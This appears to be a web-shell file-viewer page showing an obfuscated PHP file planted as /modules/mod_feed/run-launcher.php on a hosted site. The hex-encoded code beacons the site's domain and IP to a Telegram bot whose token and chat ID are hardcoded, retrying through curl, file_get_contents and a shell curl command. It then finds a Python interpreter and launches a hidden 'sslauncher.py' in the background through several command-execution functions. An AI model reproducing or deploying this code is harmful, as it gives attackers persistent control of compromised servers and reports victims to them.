HEX
Server: Apache
System: Linux webm002.cluster115.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User: centralexf (54246)
PHP: 5.4.45
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/centralexf/www/modules/mod_feed/run-launcher.php
<?php
 goto x4zXM; V5DYy: sleep(1); goto OSQBV; Owoti: mb_internal_encoding("\x55\x54\x46\55\x38"); goto CIdAj; dQdYa: $python_candidates = array("\160\171\x74\150\x6f\156\x33", "\160\171\164\150\157\x6e", "\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\150\157\x6e\63", "\57\165\x73\x72\57\x6c\x6f\x63\141\x6c\57\142\x69\156\x2f\x70\171\x74\x68\x6f\156\63", "\x2f\142\x69\x6e\57\160\x79\x74\x68\157\156\63", "\57\x75\x73\x72\57\142\x69\x6e\x2f\x70\171\164\x68\157\x6e", "\160\x79\164\x68\157\156\62", "\160\x79\x74\x68\x6f\x6e\62\x2e\67", "\57\x75\163\162\57\x62\x69\x6e\x2f\x70\x79\164\150\157\156\x32\x2e\67", "\57\165\163\x72\57\x62\x69\156\57\x70\171\x74\150\x6f\156\62", "\160\171"); goto mt5bJ; CIdAj: mb_http_output("\x55\124\x46\x2d\x38"); goto C8MFH; x4zXM: ignore_user_abort(true); goto D0Xzo; KRTF0: sleep(1); goto kdT46; aZhr5: @shell_exec($cmd); goto QTDx5; QTDx5: sleep(1); goto VnqrF; c0szv: $send_now = true; goto Ex9mq; VnqrF: @exec($cmd); goto KRTF0; QaI3c: $script_name = "\163\163\x6c\141\x75\156\x63\150\145\x72\x2e\x70\171"; goto xJJNE; M3N1i: $lock_file = __DIR__ . "\57\56\164\147\137\163\x65\x6e\x74"; goto c0szv; kdT46: if (function_exists("\x70\162\x6f\x63\x5f\x6f\160\x65\156")) { $proc = proc_open($cmd, array(), $pipes); if (is_resource($proc)) { proc_close($proc); } } goto kjk7n; D0Xzo: set_time_limit(0); goto Owoti; C8MFH: @ini_set("\x64\x65\x66\x61\x75\154\164\x5f\143\x68\141\x72\163\x65\x74", "\125\124\x46\x2d\70"); goto qaW7r; Ex9mq: if (file_exists($lock_file)) { $age = time() - filemtime($lock_file); if ($age < 6 * 3600) { $send_now = false; } } goto rfkeL; oSUFv: if (function_exists("\x70\157\160\145\x6e")) { @popen($cmd, "\162"); } goto V5DYy; AmVyL: foreach ($python_candidates as $c) { if (@shell_exec("\x63\157\x6d\x6d\x61\x6e\144\x20\55\166\40" . escapeshellarg($c) . "\40\x32\76\x2f\x64\x65\166\57\156\x75\x6c\x6c")) { $python = $c; break; } if (file_exists($c) && is_executable($c)) { $python = $c; break; } } goto k8G0d; xJJNE: $script = __DIR__ . "\x2f" . $script_name; goto dQdYa; rfkeL: if ($send_now && is_writable(__DIR__)) { $send_telegram(); @touch($lock_file); } goto QaI3c; kjk7n: sleep(1); goto oSUFv; mt5bJ: $python = null; goto AmVyL; k8G0d: $cmd = sprintf("\x63\144\40\45\x73\x20\46\x26\x20\45\163\40\45\x73\x20\x3e\x2f\144\x65\x76\57\x6e\x75\154\x6c\x20\x32\x3e\46\x31\40\46", escapeshellarg(__DIR__), escapeshellcmd($python), escapeshellarg($script_name)); goto aZhr5; qaW7r: $send_telegram = function () { $token = "\x31\x35\x32\x36\x33\x31\x36\60\65\x30\x3a\x41\x41\106\x65\x77\102\122\164\117\101\x56\x34\x63\x70\164\101\107\144\113\125\104\160\x34\x4f\x4c\111\x61\110\x70\x69\157\105\x7a\157\131"; $chat = "\x31\60\64\x34\x36\x35\70\65\x36\66"; $domain = $_SERVER["\110\124\124\120\137\110\x4f\123\x54"] ?? "\165\156\x6b\156\x6f\x77\x6e\x2d\x64\x6f\x6d\x61\151\x6e"; $ip = $_SERVER["\x53\x45\x52\126\x45\x52\137\x41\x44\104\x52"] ?? @gethostbyname(gethostname()) ?: "\165\156\x6b\156\157\x77\x6e\x2d\x69\x70"; $text = "\122\x75\156\xa" . "\144\x6f\x6d\x61\x69\x6e\x3a\x20{$domain}\xa" . "\x49\120\72\40{$ip}\xa" . date("\131\x2d\x6d\55\144\x20\x48\x3a\x69\72\163"); $text = @mb_convert_encoding($text, "\125\124\x46\x2d\70", "\141\165\164\x6f") ?: $text; $sent = false; if (function_exists("\x63\x75\x72\x6c\137\x69\x6e\x69\x74") && !$sent) { $ch = curl_init("\x68\164\x74\x70\163\x3a\57\x2f\141\x70\x69\x2e\164\145\x6c\x65\147\162\x61\155\x2e\x6f\x72\147\57\x62\157\x74{$token}\x2f\163\145\x6e\144\x4d\145\163\163\141\x67\x65"); curl_setopt_array($ch, array(CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query(array("\x63\x68\141\164\x5f\x69\x64" => $chat, "\164\x65\170\x74" => $text)), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 8, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false)); $resp = @curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && strpos($resp, "\x22\x6f\153\42\72\164\162\x75\x65") !== false) { $sent = true; } } if (ini_get("\x61\154\154\x6f\x77\x5f\x75\x72\x6c\137\x66\x6f\x70\145\156") && !$sent) { $q = http_build_query(array("\x63\x68\141\x74\137\151\x64" => $chat, "\x74\x65\x78\164" => $text)); $url = "\150\164\164\x70\163\x3a\57\57\x61\x70\151\x2e\164\145\x6c\x65\x67\162\141\155\x2e\x6f\162\x67\x2f\142\157\x74{$token}\x2f\x73\145\156\144\115\145\163\x73\141\x67\145\x3f{$q}"; $ctx = stream_context_create(array("\x68\x74\x74\160" => array("\164\151\x6d\145\x6f\x75\164" => 8), "\x73\x73\x6c" => array("\166\x65\162\x69\146\171\x5f\x70\x65\x65\162" => false))); $resp = @file_get_contents($url, false, $ctx); if ($resp && strpos($resp, "\x22\x6f\x6b\x22\x3a\164\162\x75\145") !== false) { $sent = true; } } if ((function_exists("\x73\150\x65\x6c\154\137\145\x78\145\143") || function_exists("\145\x78\x65\143")) && !$sent) { $cmd = sprintf("\143\x75\162\154\40\x2d\x73\x20\x2d\x6d\40\61\x30\x20\55\x64\x20\x25\x73\x20\55\x64\40\x25\x73\40" . "\42\150\164\x74\160\163\72\x2f\57\141\160\151\x2e\164\x65\154\145\147\162\141\155\56\157\162\x67\57\142\x6f\164\45\163\57\x73\x65\156\144\x4d\145\163\163\141\147\145\x22\x20\76\57\x64\x65\x76\57\156\x75\x6c\x6c\x20\62\76\x26\x31\40\x26", escapeshellarg("\143\x68\x61\x74\137\x69\x64\75{$chat}"), escapeshellarg("\164\x65\x78\x74\75{$text}"), escapeshellarg($token)); @shell_exec($cmd); @exec($cmd); $sent = true; } }; goto M3N1i; OSQBV: @system($cmd);